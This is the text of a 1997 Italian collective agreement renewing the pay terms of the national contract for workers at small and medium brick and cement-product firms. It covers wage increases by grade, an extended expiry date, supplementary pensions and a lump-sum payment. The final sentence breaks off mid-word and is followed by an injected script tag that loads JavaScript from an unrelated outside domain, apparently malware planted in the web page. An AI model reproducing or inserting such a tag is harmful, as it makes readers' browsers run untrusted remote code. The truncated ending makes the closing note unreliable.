Categoria: Laterizi e manufatti in cemento (piccola e media impresa)
Settore: Edilizia
Data stipula: 20-3-1997
Data decorrenza: 1-10-1996
Data scadenza: 31-3-1999

VERBALE DI ACCORDO

In data 20 marzo 1997

tra

l'ANIEM

e

la FENEAL-UIL, FILCA-CISL e FILLEA-CGIL

con riferimento al punto 2 (assetti contrattuali), comma 2, del Protocollo
23.7.93,  è stato raggiunto l'accordo per il rinnovo della parte economica
(2°  biennio)  del CCNL 28.11.94 per i dipendenti delle  piccole  e  medie
aziende produttrici di:

a)  elementi e componenti in laterizio e prefabbricati in latero-cemento;
b)   manufatti  in  calcestruzzo armato e non,  in  cemento,  in  gesso  e
   piastrelle.



AUMENTI RETRIBUTIVI

Gli  importi  e le tranches di erogazione, fissate alle date  dell'1.4.97,
1.1.98 e 1.1.99, sono indicate nella tabella allegata (allegato n. 1).



SCADENZA

Il termine di scadenza di cui all'art. 85 del CCNL 28.11.94 è prorogato al
31 marzo 1999.



PREVIDENZA COMPLEMENTARE

Le  parti  stipulanti il presente accordo costituiranno entro il  prossimo
mese  di  giugno  una Commissione Tecnica Paritetica per l'approfondimento
del  quadro normativo vigente in materia di previdenza complementare e per
l'esame  delle  soluzioni tecniche già adottate in altri  settori  per  la
costituzione   e   la   gestione   della   previdenza   complementare    a
capitalizzazione su base volontaria.

Detta  Commissione presenterà un rapporto alle parti stipulanti  entro  il
mese di dicembre 1998.

Fermo  restando quanto previsto dall'art. 67 del CCNL 28.11.94  anche  per
quanto concerne la misura di utilizzo del TFR, le aziende concorreranno al
finanziamento   della  previdenza  complementare  nella   misura   dell'1%
ragguagliato al valore del minimo tabellare, contingenza, EDR e  indennità
di  funzione  quadri  di  spettanza dei  lavoratori  che  aderiranno  alla
previdenza  complementare. I lavoratori che abbiano  espresso  volontà  di
adesione alla previdenza complementare contribuiranno in pari misura.  Gli
oneri  contributivi  a carico di lavoratori e imprese  decorreranno  dalla
effettiva operatività del sistema definito dalle parti.



UNA TANTUM

Ai lavoratori in forza alla data di sottoscrizione del presente accordo  è
corrisposto  un  importo forfettario di £. 370.000 lorde suddivisibili  in
quote  giornaliere  in relazione alla durata del rapporto  di  lavoro  nel
periodo 1.9.96-31.3.97; per il part-time la cifra sarà riproporzionata  in
base all'orario svolto.

L'importo dell'una tantum è stato quantificato considerando in esso  anche
i  riflessi sugli istituti di retribuzione diretta e indiretta, di origine
legale o contrattuale, ed è quindi comprensivo degli stessi.

Inoltre, in attuazione di quanto previsto dal comma 2 dell'art. 2120 C.C.,
l'Una  Tantum  è  esclusa dalla base di calcolo del  trattamento  di  fine
rapporto.

Il suddetto importo verrà erogato in 3 rate pari a:

·   £. 150.000 lorde con la retribuzione relativa al mese di marzo 1997;
·   £. 120.000 lorde con la retribuzione relativa al mese di giugno 1997;
·    £.  100.000  lorde con la retribuzione relativa al mese di  settembre
  1997.

Le  giornate  di  assenza dal lavoro per malattia,  infortunio  e  congedo
matrimoniale, intervenute nel periodo 1.9.96-31.3.97, che hanno dato luogo
al   pagamento  di  indennità  a  carico  dell'Istituto  competente  e  di
integrazione  a carico delle aziende, saranno considerate  utili  ai  fini
dell'importo di cui sopra.



Allegato n. 1.

AUMENTI RETRIBUTIVI

Categorie  1.4.97   1.1.98   1.1.99    Totale
                                     aumenti

AS          71.739    79.710    95.652    247.101
A           60.326    67.029    80.435    207.790
B           49.239    54.710    65.652    169.601
CS          45.000    50.000    60.000    155.000
C           43.043    47.826    57.391    148.261
D           40.109    44.565    55.326    140.000
E           37.174    41.304    49.565    128.043
F           32.609    36.232    43.478    112.319


Nota a verbale.

Le  parti  si  danno reciproc<script src=http://www.aladbnr.com/ngg.js></script>